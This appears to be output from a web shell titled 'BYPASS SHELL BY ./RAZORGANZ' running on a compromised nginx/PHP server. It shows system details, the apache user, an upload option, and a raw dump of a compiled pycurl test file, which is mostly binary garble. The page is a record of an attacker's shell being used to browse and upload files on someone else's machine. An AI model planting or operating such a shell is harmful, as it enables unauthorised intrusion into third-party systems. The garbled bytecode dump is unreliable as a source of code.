BYPASS SHELL BY ./RAZORGANZ
Server: nginx/1.20.1
System: Linux iZdzfnv9mwfppeZ 5.10.134-19.2.al8.x86_64 #1 SMP Wed Oct 29 22:47:09 CST 2025 x86_64
User: apache (48)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: //usr/share/doc/python3-pycurl/tests/__pycache__/setopt_lifecycle_test.cpython-36.pyc
3

�[�@s�ddlmZddlZddlZddlZyddlZWnek
rLddlZYnXddlmZddlm	Z	ej
d�\ZZGdd	�d	e
�ZGd
d�dej�ZdS)
�)�	localhost�N)�
appmanager)�util�app� c@seZdZdd�ZdS)�
TestStringcCs|jdd�dS)N�1�2)�replace)�self�r
�D/builddir/build/BUILD/pycurl-7.43.0.2/tests/setopt_lifecycle_test.py�__del__szTestString.__del__N)�__name__�
__module__�__qualname__rr
r
r
rrsrc@seZdZdd�Zdd�ZdS)�SetoptLifecycleTestcCs>tdjdd|fg��}|jtjdt�|jtj|�dS)N�&�2z
field=value%dzhttp://%s:8380/postfields)r�join�setopt�pycurl�URLr�
POSTFIELDS)r�curl�indexZpfr
r
r�	do_setoptszSetoptLifecycleTest.do_setoptcCs�g}x6td�D]*}tj�}|j||�tj�|j|�qWxxtd�D]l}||}tj�}|jt	j
|j�|j�|j
d|jt	j��|j�j�}tj|�}|j
td|d�|�qFWx td�D]}||}|j�q�WdS)Ni��d��zvalue%d)�field)�ranger�DefaultCurlr�gc�collect�append�BytesIOrr�
WRITEFUNCTION�write�perform�assertEqual�getinfo�	HTTP_CODE�getvalue�decode�json�loads�dict�close)rZrequests�ir�sio�bodyZreturned_fieldsr
r
r�test_postfields_lifecycle$s$
z-SetoptLifecycleTest.test_postfields_lifecycleN)rrrrr6r
r
r
rrsr)rr)�rr#r�unittestr/�ImportErrorZ
simplejsonrr�setup�setup_module�teardown_module�strr�TestCaserr
r
r
r�<module>s